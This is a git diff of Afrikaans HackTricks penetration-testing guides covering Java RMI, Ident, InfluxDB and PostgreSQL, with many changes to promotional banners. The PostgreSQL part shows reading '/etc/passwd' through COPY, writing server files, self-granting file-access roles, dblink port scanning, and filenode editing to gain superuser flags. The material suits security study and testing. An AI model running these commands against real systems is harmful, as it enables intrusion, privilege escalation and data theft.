identifiseer: +Die `ObjID`-waardes wat deur _remote-method-guesser_ vertoon word, kan gebruik word om die tyd aanlyn van die diens te bepaal. Dit mag help om ander kwesbaarhede te identifiseer: ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] @@ -160,7 +160,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' Selfs wanneer geen kwesbaarhede geïdentifiseer is tydens enumerasie, kan die beskikbare _RMI_ dienste steeds gevaarlike funksies blootstel. Verder, ten spyte van _RMI_ kommunikasie na _RMI_ standaard komponente wat beskerm word deur deserialisasie filters, wanneer daar met aangepaste _RMI_ dienste gepraat word, is sulke filters gewoonlik nie op hul plek nie. Om geldige metode handtekeninge op _RMI_ dienste te ken, is dus waardevol. -Ongelukkig ondersteun _Java RMI_ nie die opnoem van metodes op _remote objects_ nie. Dit gesê wees, dit is moontlik om metode handtekeninge met gereedskap soos [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) of [rmiscout](https://github.com/BishopFox/rmiscout) te bruteforce: +Ongelukkig ondersteun _Java RMI_ nie die opnoem van metodes op _afgeleë voorwerpe_ nie. Dit gesê wees, dit is moontlik om metode handtekeninge met gereedskap soos [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) of [rmiscout](https://github.com/BishopFox/rmiscout) te bruteforce: ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt @@ -229,7 +229,7 @@ Afgesien van raaiwerk, moet jy ook in soek enjins of _GitHub_ kyk vir die koppel ## Bekende Koppelvlakke -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) merk klasse of koppelvlakke as `bekend` as hulle gelys word in die gereedskap se interne databasis van bekende _RMI-diens_. In hierdie gevalle kan jy die `bekend` aksie gebruik om meer inligting oor die betrokke _RMI-diens_ te kry: +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) merk klasse of koppelvlakke as `bekend` as hulle gelys word in die gereedskap se interne databasis van bekende _RMI-dienste_. In hierdie gevalle kan jy die `bekend` aksie gebruik om meer inligting oor die betrokke _RMI-diens_ te kry: ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: @@ -290,7 +290,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub ``` ## Shodan -* `port:1099 java` +* `poort:1099 java` ## Gereedskap @@ -314,20 +314,20 @@ Command: rmg enum {IP} {PORT}
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. diff --git a/network-services-pentesting/113-pentesting-ident.md b/network-services-pentesting/113-pentesting-ident.md index 70e797bbd..772bbc2e3 100644 --- a/network-services-pentesting/113-pentesting-ident.md +++ b/network-services-pentesting/113-pentesting-ident.md @@ -8,7 +8,7 @@ Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. @@ -16,16 +16,16 @@ Ander maniere om HackTricks te ondersteun:
-Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %} ## Basiese Inligting -Die **Ident-protokol** word oor die **Internet** gebruik om 'n **TCP-koppeling** met 'n spesifieke gebruiker te assosieer. Oorspronklik ontwerp om te help met **netwerkbestuur** en **sekuriteit**, werk dit deur 'n bediener toe te laat om 'n klient op poort 113 te ondervra om inligting te versoek oor die gebruiker van 'n spesifieke TCP-koppeling. +Die **Ident-protokol** word oor die **Internet** gebruik om 'n **TCP-konneksie** met 'n spesifieke gebruiker te assosieer. Oorspronklik ontwerp om te help met **netwerkbestuur** en **sekuriteit**, werk dit deur 'n bediener toe te laat om 'n klient op poort 113 te ondervra om inligting oor die gebruiker van 'n spesifieke TCP-konneksie te versoek. -Tog, as gevolg van moderne privaatheidskwessies en die potensiaal vir misbruik, het die gebruik daarvan afgeneem aangesien dit onbedoeld gebruikersinligting aan ongemagtigde partye kan blootstel. Verbeterde sekuriteitsmaatreëls, soos versleutelde koppeling en streng toegangsbeheer, word aanbeveel om hierdie risiko's te verminder. +Tog, as gevolg van moderne privaatheidskwessies en die potensiaal vir misbruik, het die gebruik daarvan afgeneem omdat dit onbedoeld gebruikersinligting aan ongemagtigde partye kan blootstel. Verbeterde sekuriteitsmaatreëls, soos versleutelde konneksies en streng toegangsbeheer, word aanbeveel om hierdie risiko's te verminder. **Verstekpoort:** 113 ``` @@ -87,10 +87,10 @@ identd.conf
-Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) om maklik **werkstrome te bou** en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ Kry Toegang Vandag: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %} ## HackTricks Outomatiese Opdragte ``` diff --git a/network-services-pentesting/8086-pentesting-influxdb.md b/network-services-pentesting/8086-pentesting-influxdb.md index 64b5fceab..3af2469cc 100644 --- a/network-services-pentesting/8086-pentesting-influxdb.md +++ b/network-services-pentesting/8086-pentesting-influxdb.md @@ -3,22 +3,22 @@
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ Kry Toegang Vandag: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %}
-Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS-hacking van niks tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@@ -31,7 +31,7 @@ Ander maniere om HackTricks te ondersteun: PORT STATE SERVICE VERSION 8086/tcp open http InfluxDB http admin 1.7.5 ``` -## Opsomming +## Enumerasie Vanuit 'n pentester-oogpunt is hierdie nog 'n databasis wat sensitiewe inligting kan stoor, dus is dit interessant om te weet hoe om al die inligting te dump. @@ -43,17 +43,17 @@ InfluxDB mag verifikasie vereis of nie. influx -host 'host name' -port 'port #' > use _internal ``` -As jy 'n fout soos hierdie een kry: `ERR: unable to parse authentication credentials` beteken dit dat dit **sekere geloofsbriewe verwag**. +Indien jy 'n fout soos hierdie een kry: `ERR: unable to parse authentication credentials` beteken dit dat dit **sekere geloofsbriewe verwag**. ``` influx –username influx –password influx_pass ``` Daar was 'n kwesbaarheid in influxdb wat toegelaat het om die outentifikasie te omseil: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933) -### Handmatige Opsomming +### Handleiding Opname Die inligting van hierdie voorbeeld is geneem van [**hier**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/). -#### Wysig databasisse +#### Wys databasisse Die gevonde databasisse is `telegraf` en `internal` (jy sal hierdie oral vind) ```bash @@ -66,7 +66,7 @@ _internal ``` #### Wysig tabelle/meetpunte -Die [**InfluxDB-dokumentasie**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/) verduidelik dat **meetpunte** in InfluxDB met SQL-tabelle vergelyk kan word. Die benaming van hierdie **meetpunte** dui op die inhoud daarvan, elkeen bevat data wat relevant is vir 'n spesifieke entiteit. +Die [**InfluxDB-dokumentasie**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/) verduidelik dat **meetpunte** in InfluxDB ge-parallel kan word met SQL-tabelle. Die benaming van hierdie **meetpunte** dui op hul onderskeie inhoud, elkeen bevat data wat relevant is vir 'n spesifieke entiteit. ```bash > show measurements name: measurements @@ -129,7 +129,7 @@ msf6 > use auxiliary/scanner/http/influxdb_enum Ander maniere om HackTricks te ondersteun: -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -140,7 +140,7 @@ Ander maniere om HackTricks te ondersteun:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ -Kry Vandag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %} diff --git a/network-services-pentesting/pentesting-postgresql.md b/network-services-pentesting/pentesting-postgresql.md index 701f88630..805a3784a 100644 --- a/network-services-pentesting/pentesting-postgresql.md +++ b/network-services-pentesting/pentesting-postgresql.md @@ -3,30 +3,30 @@
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkafloeie** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskaps gereedskap.\ Kry Toegang Vandag: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
-Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Deel jou hak truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## **Basiese Inligting** -**PostgreSQL** word beskryf as 'n **objek-relasionele databasisstelsel** wat **oorspronklik** is. Hierdie stelsel maak nie net gebruik van die SQL-taal nie, maar verbeter dit ook met addisionele kenmerke. Sy vermoëns maak dit moontlik om 'n wye verskeidenheid datatipes en operasies te hanteer, wat dit 'n veelsydige keuse vir ontwikkelaars en organisasies maak. +**PostgreSQL** word beskryf as 'n **objek-relasionele databasis stelsel** wat **oorspronklik** is. Hierdie stelsel maak nie net gebruik van die SQL-taal nie, maar verbeter dit ook met addisionele kenmerke. Sy vermoëns maak dit moontlik om 'n wye verskeidenheid data tipes en operasies te hanteer, wat dit 'n veelsydige keuse maak vir ontwikkelaars en organisasies. -**Verstekpoort:** 5432, en as hierdie poort reeds in gebruik is, lyk dit asof postgresql die volgende poort (5433 waarskynlik) wat nie in gebruik is nie, sal gebruik. +**Verstek poort:** 5432, en as hierdie poort reeds in gebruik is, lyk dit asof postgresql die volgende poort sal gebruik (5433 waarskynlik) wat nie in gebruik is nie. ``` PORT STATE SERVICE 5432/tcp open pgsql @@ -72,10 +72,10 @@ SELECT * FROM pg_extension; \s ``` {% hint style="warning" %} -As jy **`\list`** hardloop en 'n databasis genaamd **`rdsadmin`** vind, weet jy dat jy binne 'n **AWS PostgreSQL-databasis** is. +As jy **`\list`** hardloop en 'n databasis met die naam **`rdsadmin`** vind, weet jy dat jy binne 'n **AWS postgresql databasis** is. {% endhint %} -Vir meer inligting oor **hoe om 'n PostgreSQL-databasis te misbruik** kyk: +Vir meer inligting oor **hoe om 'n PostgreSQL databasis te misbruik** kyk: {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} [postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/) @@ -88,9 +88,9 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ``` ### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql) -### **Poort skandering** +### **Poortskandering** -Volgens [**hierdie navorsing**](https://www.exploit-db.com/papers/13084), wanneer 'n verbindingspoging misluk, gooi `dblink` 'n `sqlclient_unable_to_establish_sqlconnection` uitsondering wat 'n verduideliking van die fout insluit. Voorbeelde van hierdie besonderhede word hieronder gelys. +Volgens [**hierdie navorsing**](https://www.exploit-db.com/papers/13084), wanneer 'n verbindingspoging misluk, gooi `dblink` 'n `sqlclient_unable_to_establish_sqlconnection`-uitsondering wat 'n verduideliking van die fout insluit. Voorbeelde van hierdie besonderhede word hieronder gelys. ```sql SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 @@ -117,23 +117,21 @@ the server terminated abnormally before or while processing the request #### PostgreSQL Enumeration -To enumerate PostgreSQL, you can use tools like `nmap` to scan for open ports and services running on the target system. Use the following command to scan for PostgreSQL service: +PostgreSQL kan geënumereer word deur die volgende stappe te volg: -```bash -nmap -p 5432 -``` - -#### PostgreSQL Brute Forcing - -You can use tools like `Hydra` to perform brute force attacks against PostgreSQL login. Use the following command to brute force PostgreSQL login with Hydra: - -```bash -hydra -L users.txt -P passwords.txt postgres://:5432 -``` +1. **Port Scanning**: Skandeer die bediener om die poorte te identifiseer waarop PostgreSQL hardloop. +2. **Banner Grabbing**: Verkry die banierinligting om die PostgreSQL-weergawe te identifiseer. +3. **Service Detection**: Identifiseer die diens deur spesifieke kenmerke te ondersoek. +4. **Database Enumeration**: Identifiseer databasisse en gebruikers binne die PostgreSQL-diens. #### PostgreSQL Exploitation -To exploit PostgreSQL, you can use tools like `Metasploit` or manually exploit known vulnerabilities in PostgreSQL versions. Research and identify potential exploits to gain access to the target system. +PostgreSQL kan geëxploiteer word deur die volgende metodes: + +1. **Brute Force-aanvalle**: Aanvalle wat gebruik maak van gereedskap soos Hydra om aan te meld by PostgreSQL met gesteelde geloofsbriewe. +2. **SQL Injection**: Gebruik van SQL-injeksie om databasisinligting te onttrek of die databasis te manipuleer. +3. **PostgreSQL UDF Exploitation**: Gebruik van PostgreSQL User Defined Functions (UDFs) vir aanvalle soos die uitvoering van afgeleë kode. +4. **File System Access**: Indien die PostgreSQL-diens toegang het tot die bediener se lêersisteem, kan dit gebruik word vir verdere aanvalle. ``` DETAIL: FATAL: password authentication failed for user "name" ``` @@ -142,26 +140,26 @@ DETAIL: FATAL: password authentication failed for user "name" DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` -In PL/pgSQL funksies, is dit tans nie moontlik om uitsonderingsbesonderhede te verkry nie. Indien jy egter direkte toegang tot die PostgreSQL-bediener het, kan jy die nodige inligting terugwin. As dit nie haalbaar is om gebruikersname en wagwoorde uit die stelseltabelle te onttrek nie, kan jy oorweeg om die woordelysaanvalmetode wat bespreek is in die vorige afdeling, te gebruik, aangesien dit moontlik positiewe resultate kan oplewer. +In PL/pgSQL funksies, is dit tans nie moontlik om uitsonderingsbesonderhede te verkry nie. Indien jy egter direkte toegang tot die PostgreSQL-bediener het, kan jy die nodige inligting terugkry. Indien dit nie haalbaar is om gebruikersname en wagwoorde uit die stelseltabelle te onttrek nie, kan jy oorweeg om die woordelysaanvalmetode wat bespreek is in die vorige afdeling, te gebruik, aangesien dit moontlik positiewe resultate kan oplewer. -## Enumerasie van Voorregte +## Opsomming van Voorregte ### Rolle | Rol Tipes | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -| rolsuper | Rol het supergebruiker-voorregte | +| rolsuper | Rol het supergebruiker-voorregte | | rolinherit | Rol erf outomaties voorregte van rolle waarvan dit 'n lid is | | rolcreaterole | Rol kan meer rolle skep | | rolcreatedb | Rol kan databasisse skep | -| rolcanlogin | Rol kan aanteken. Dit beteken dat hierdie rol as die aanvanklike sessie-outorisasie-identifiseerder gegee kan word | -| rolreplication | Rol is 'n replikasie rol. 'n Replikasie rol kan replikasieverbindinge inisieer en replikasieslotte skep en laat val | -| rolconnlimit | Vir rolle wat kan aanteken, stel dit die maksimum aantal gelyktydige verbindinge in wat hierdie rol kan maak. -1 beteken geen limiet nie | -| rolpassword | Nie die wagwoord nie (lees altyd as `********`) | +| rolcanlogin | Rol kan aanteken. Dit beteken dat hierdie rol as die aanvanklike sessie-outorisasie-identifiseerder gegee kan word | +| rolreplication | Rol is 'n replikasie rol. 'n Replikasie rol kan replikasieverbindinge inisieer en replikasieslotte skep en laat val | +| rolconnlimit | Vir rolle wat kan aanteken, stel dit die maksimum aantal gelyktydige verbindinge in wat hierdie rol kan maak. -1 beteken geen limiet. | +| rolpassword | Nie die wagwoord (lees altyd as `********`) | | rolvaliduntil | Wagwoordvervaltyd (slegs gebruik vir wagwoordverifikasie); nul indien geen verval | -| rolbypassrls | Rol verbygaan elke ryvlak-sekuriteitsbeleid, sien [Afdeling 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) vir meer inligting | -| rolconfig | Rol-spesifieke verstekwaardes vir hardlooptydkonfigurasie-veranderlikes | -| oid | ID van rol | +| rolbypassrls | Rol verbygaan elke ryvlak-sekuriteitsbeleid, sien [Afdeling 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) vir meer inligting. | +| rolconfig | Rol-spesifieke verstekwaardes vir hardlooptydkonfigurasie-veranderlikes | +| oid | ID van rol | #### Interessante Groepe @@ -261,7 +259,7 @@ COPY demo from '/etc/passwd'; SELECT * FROM demo; ``` {% hint style="warning" %} -Onthou dat as jy nie 'n supergebruiker is nie, maar die **CREATEROLE**-permissies het, kan jy **jouself lid van daardie groep maak:** +Onthou dat as jy nie 'n supergebruiker is nie, maar wel die **CREATEROLE**-permissies het, kan jy **jouself lid van daardie groep maak:** ```sql GRANT pg_read_server_files TO username; ``` @@ -305,14 +303,14 @@ copy (select convert_from(decode('','base64'),'utf-8')) to '/ju {% endcode %} {% hint style="warning" %} -Onthou dat as jy nie 'n supergebruiker is nie, maar die **`CREATEROLE`**-permissies het, kan jy **jouself lid van daardie groep maak:** +Onthou dat as jy nie 'n supergebruiker is nie, maar wel die **`CREATEROLE`**-permissies het, kan jy **jouself lid van daardie groep maak:** ```sql GRANT pg_write_server_files TO username; ``` [**Meer inligting.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} -Onthou dat KOPIE nie nuwe lynkarakters kan hanteer nie, daarom moet jy selfs as jy 'n base64-lading gebruik 'n eenlynstuk stuur. 'n Baie belangrike beperking van hierdie tegniek is dat `copy` nie gebruik kan word om binêre lêers te skryf nie omdat dit sommige binêre waardes wysig. +Onthou dat KOPIE nie nuwe lynkarakters kan hanteer nie, daarom moet jy selfs as jy 'n base64-lading gebruik 'n eenlynstuk stuur. 'n Baie belangrike beperking van hierdie tegniek is dat `copy` nie gebruik kan word om binêre lêers te skryf nie, omdat dit sommige binêre waardes wysig. ### Oplaai van binêre lêers @@ -324,7 +322,7 @@ Daar is egter ander tegnieke om groot binêre lêers te laai: ## -**Bug bounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings tot **$100,000** te verdien! +**Bugsbounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bugsbounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings tot **$100,000** te verdien! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -340,20 +338,20 @@ Vereiste stappe: SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` -**Nota:** As jy nie die huidige data-gids vanaf instellings kan kry nie, kan jy die hoof PostgreSQL-weergawe deur die `SELECT version()`-vraag ondersoek en probeer om die pad te brute force. Gewone data-gidspaaie op Unix-installasies van PostgreSQL is `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. 'n Gewone klasternaam is `main`. -2. Kry 'n relatiewe pad na die filenode wat geassosieer is met die teikentabel +**Nota:** As jy nie die huidige data-gids vanaf instellings kan kry nie, kan jy die hoof PostgreSQL-weergawe deur die `SELECT version()`-navraag kry en probeer om die pad te brute force. Gewone data-gidspaaie op Unix-installasies van PostgreSQL is `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. 'n Gewone klasternaam is `main`. +2. Kry 'n relatiewe pad na die lêernode wat met die teikentabel geassosieer is ```sql -SELECT pg_relation_filepath('{TABLE_NAME}') +SELECT pg_relation_filepath('{TABEL_NAAM}') ``` -Hierdie vraag behoort iets soos `base/3/1337` terug te gee. Die volledige pad op skyf sal wees `$DATA_DIRECTORY/base/3/1337`, m.a.w. `/var/lib/postgresql/13/main/base/3/1337`. -3. Laai die filenode af deur die `lo_*`-funksies +Hierdie navraag behoort iets soos `base/3/1337` terug te gee. Die volledige pad op skyf sal wees `$DATA_GIDS/base/3/1337`, m.a.w. `/var/lib/postgresql/13/main/base/3/1337`. +3. Laai die lêernode af deur die `lo_*`-funksies ```sql -SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) +SELECT lo_import('{PSQL_DATA_GIDS}/{RELASIE_PAD}',13337) ``` -4. Kry die datatipe wat geassosieer is met die teikentabel +4. Kry die datatipe wat met die teikentabel geassosieer is ```sql SELECT @@ -372,22 +370,22 @@ JOIN pg_type ON pg_attribute.atttypid = pg_type.oid JOIN pg_class ON pg_attribute.attrelid = pg_class.oid -WHERE pg_class.relname = '{TABLE_NAME}'; +WHERE pg_class.relname = '{TABEL_NAAM}'; ``` -5. Gebruik die [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) om [die filenode te wysig](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); stel alle `rol*` booleaanse vlae in op 1 